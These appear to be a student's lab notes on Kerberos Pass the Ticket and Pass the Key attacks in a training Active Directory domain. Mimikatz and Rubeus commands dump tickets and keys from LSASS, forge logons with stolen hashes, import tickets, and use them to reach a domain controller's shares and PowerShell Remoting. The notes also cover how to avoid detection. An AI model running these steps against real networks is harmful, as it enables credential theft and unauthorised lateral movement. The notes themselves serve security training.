PtT From Windows

In Pass the Ticket, as opposed to Pass the Hash, we use a stolen Kerberos ticket to move laterally instead of an NTLM password hash.

SUMMARY

Pass the Ticket/Pass the Key Attacks are used to Lateral Movement.

Kerberos creates tickets so user do not have to type password everytime. With Local Admin Rights, we can exploit this property. We obtain the ticket of a target user using either Mimikatz or Rubeus, and use the ticket to logon in the context of that user.

Kerberos Protocol Refresher
- TGT
- TGS
Obtaining Tickets
needs local admin privileges
- Mimikatz
- Rubeus
Pass the Key or OverPass the Hash
turn hash into a TGT
- 1. Mimikatz to get AES256_HMAC and RC4_HMAC keys
- 2. PtK attack
  - PtK w/ Mimikatz
  - PtK w/ Rubeus
    Unlike Mimikatz, Rubeus does not require local admin rights to perform PtK attacks
- 3. use the ticket from Rubeus to logon as the user
- 3.1 Rubeus - Import Ticket from .kirbi file
  use the .kirbi file we obtained from Mimikatz
- Convert .kirbi to Base64 Format in PowerShell
- Pass the Ticket Using Base64 Instead of .kirbi
- Pass the Ticket Using .kirbi (Mimikatz)
PtT with PowerShell Remoting
PowerShell Remoting - Remotely execute commands on another computer
- PowerShell Remoting w/ Mimikatz
- PowerShell Remoting w/ Rubeus

Kerberos Protocol Refresher

Kerberoes is ticket-based authentication. Keeps all tickets on the local system; gives each service its own ticket.

TGT

Ticket Granting Ticket; the very first ticket obtained on Kerberos System; permits client to obtain TGS
to obtain a TGT, user send encrypted (timestamp + password hash) to Domain Controller

TGS

Ticket Granting Service; requested by user using a service; service use this ticket to authenticate the user
E.g. connect to MSSQL -> request a TGS from Key Distribution Center -> presents TGT -> TGS granted for MSSQL

Obtaining Tickets

As a local admin, you can get all the tickets on the system in LSASS Attacking LSASS. As a non-admin, you can only get your own ticket.

Mimikatz

./mimikatz.exe

privilege::debug

sekurlsa::tickets /export

exit

to view the tickets saved

c:\tools> dir *.kirbi

Directory: c:\tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----

<SNIP>

-a----        7/12/2022   9:44 AM           1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
-a----        7/12/2022   9:44 AM           1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi

<SNIP>

DC01$ ends with a $ it is the computer account that needs a ticket to interact with AD

User tickets have the user's name, followed by an @ that separates the service name and the domain, for example: [randomvalue]-username@service-domain.local.kirbi.

Rubeus

Rubeus.exe dump /nowrap

/nowrap makes it easier for us to copy & paste since it outputs base64 encoded tickets

download Rubeus

https://github.com/GhostPack/Rubeus

Pass the Key or OverPass the Hash

converts a hash/key (rc4_hmac, aes256_cts_hmac_sha1, etc.) for a domain-joined user into a full Ticket-Granting-Ticket (TGT)

1. Mimikatz to get AES256_HMAC and RC4_HMAC keys

./mimikatz.exe

privilege::debug

sekurlsa::ekeys

Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session           : Interactive from 1
User Name         : plaintext
Domain            : HTB
Logon Server      : DC01
Logon Time        : 7/12/2022 9:42:15 AM
SID               : S-1-5-21-228825152-3134732153-3833540767-1107

         * Username : plaintext
         * Domain   : inlanefreight.htb
         * Password : (null)
         * Key List :
           aes256_hmac       b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
           rc4_hmac_nt       3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old      3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_md4           3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_nt_exp   3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old_exp  3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>

Now that we have AES256_HMAC and RC4_HMAC keys, we can perform Pass the Key attack using Mimikatz and Rubeus.

2. PtK attack

PtK w/ Mimikatz

./mimikatz.exe

privilege::debug

sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

This will create a new cmd.exe window that we can use to request access to any service we want in the context of the target user.

PtK w/ Rubeus

c:\tools> Rubeus.exe  asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/LSsa2xrdJJir1eVugDFCoGFT2hDcYcpRdifXw67WofDM6Z6utsha+4bL0z6QN+tdpPlNQFwjuWmBrZtpS9TcCblotYvDHa0aLVsroW/fqXJ4KIV2tVfbVIDJvPkgdNAbhp6NvlbzeakR1oO5RTm7wtRXeTirfo6C9Ap0HnctlHAd+Qnvo2jGUPP6GHIhdlaM+QShdJtzBEeY/xIrORiiylYcBvOoir8mFEzNpQgYADmbTmg+c7/NgNO8Qj4AjrbGjVf/QWLlGc7sH9+tARi/Gn0cGKDK481A0zz+9C5huC9ZoNJ/18rWfJEb4P2kjlgDI0/fauT5xN+3NlmFVv0FSC8/909pUnovy1KkQaMgXkbFjlxeheoPrP6S/TrEQ8xKMyrz9jqs3ENh//q738lxSo8J2rZmv1QHy+wmUKif4DUwPyb4AHgSgCCUUppIFB3UeKjqB5srqHR78YeAWgY7pgqKpKkEomy922BtNprk2iLV1cM0trZGSk6XJ/H+JuLHI5DkuhkjZQbb1kpMA2CAFkEwdL9zkfrsrdIBpwtaki8pvcBPOzAjXzB7MWvhyAQevHCT9y6iDEEvV7fsF/B5xHXiw3Ur3P0xuCS4K/Nf4GC5PIahivW3jkDWn3g/0nl1K9YYX7cfgXQH9/inPS0OF1doslQfT0VUHTzx8vG3H25vtc2mPrfIwfUzmReLuZH8GCvt4p2BAbHLKx6j/HPa4+YPmV0GyCv9iICucSwdNXK53Q8tPjpjROha4AGjaK50yY8lgknRA4dYl7+O2+j4K/lBWZHy+IPgt3TO7YFoPJIEuHtARqigF5UzG1S+mefTmqpuHmoq72KtidINHqi+GvsvALbmSBQaRUXsJW/Lf17WXNXmjeeQWemTxlysFs1uRw9JlPYsGkXFh3fQ2ngax7JrKiO1/zDNf6cvRpuygQRHMOo5bnWgB2E7hVmXm2BTimE7axWcmopbIkEi165VOy/M+pagrzZDLTiLQOP/X8D6G35+srSr4YBWX4524/Nx7rPFCggxIXEU4zq3Ln1KMT9H7efDh+h0yNSXMVqBSCZLx6h3Fm2vNPRDdDrq7uz5UbgqFoR2tgvEOSpeBG5twl4MSh6VA7LwFi2usqqXzuPgqySjA1nPuvfy0Nd14GrJFWo6eDWoOy2ruhAYtaAtYC6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEXoRIEENEzis1B3YAUCjJPPsZjlduhCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUAQOEAAKURGA8yMDIyMDcxMjE1MjgyNlqmERgPMjAyMjA3MTMwMTI4MjZapxEYDzIwMjIwNzE5MTUyODI2WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 11:28:26 AM
  EndTime               :  7/12/2022 9:28:26 PM
  RenewTill             :  7/19/2022 11:28:26 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  0TOKzUHdgBQKMk8+xmOV2w==

Note: Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges. If we use a rc4_hmac (NTLM) hash in a Kerberos exchange instead of an aes256_cts_hmac_sha1 (or aes128) key, it may be detected as an "encryption downgrade."

3. use the ticket from Rubeus to logon as the user

use /ptt to submit the ticket (TGT or TGS) to the current logon session

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):
	<A long ass base64 encrypted ticket>
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 12:27:47 PM
  EndTime               :  7/12/2022 10:27:47 PM
  RenewTill             :  7/19/2022 12:27:47 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  PRG0wMmc4OznDz1YIAjdsA==

3.1 Rubeus - Import Ticket from .kirbi file

.kirbi file obtained from mimikatz

c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Convert .kirbi to Base64 Format in PowerShell

Pass the Ticket (PtT) from Windows

PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))

doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQzYYQAAAQtMIQAAAQnoIQAAAADAgEFoYQAAAAJGwdIVEIuQ09NooQAAAAsMIQAAAAmoIQAAAADAgECoYQAAAAXMIQAAAARGwZrcmJ0Z3QbB0hUQi5DT02jhAAAA9cwhAAAA9GghAAAAAMCARKhhAAAAAMCAQKihAAAA7kEggO1zqm0SuXewDEmypVORXzj8hyqSmikY9gxbM9xdpmA8r2EvTnv0UYkQFdf4B73Ss5ylutsSsyvnZYRVr8Ta9Wx/fvnjpJw/T70suDA4CgsuSZcBSo/jMnDjucWNtlDc8ez6<SNIP>

Pass the Ticket Using Base64 Instead of .kirbi

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Pass the Ticket Using .kirbi (Mimikatz)

mimikatz.exe

privilege::debug

kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"

exit

Note: Instead of opening mimikatz.exe with cmd.exe and exiting to get the ticket into the current command prompt, we can use the Mimikatz module misc to launch a new command prompt window with the imported ticket using the misc::cmd command.

PtT with PowerShell Remoting

PowerShell Remoting lets you run commands on remote computers using HTTP (port 5985) or HTTPS (port 5986). You need admin rights, be in the Remote Management Users group, or have remoting permissions. If a user is in the Remote Management Users group, they can connect and run commands even without admin rights.

PowerShell Remoting w/ Mimikatz

mimikatz.exe

privilege::debug

kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"

exit

powershell

Enter-PSSession -ComputerName DC01

we should be in PowerShell

whoami

PowerShell Remoting w/ Rubeus

Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

The above command will open a new cmd window. From that window, we can execute Rubeus to request a new TGT with the option /ptt to import the ticket into our current session and connect to the DC using PowerShell Remoting.

Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt

powershell

Enter-PSSession -ComputerName DC01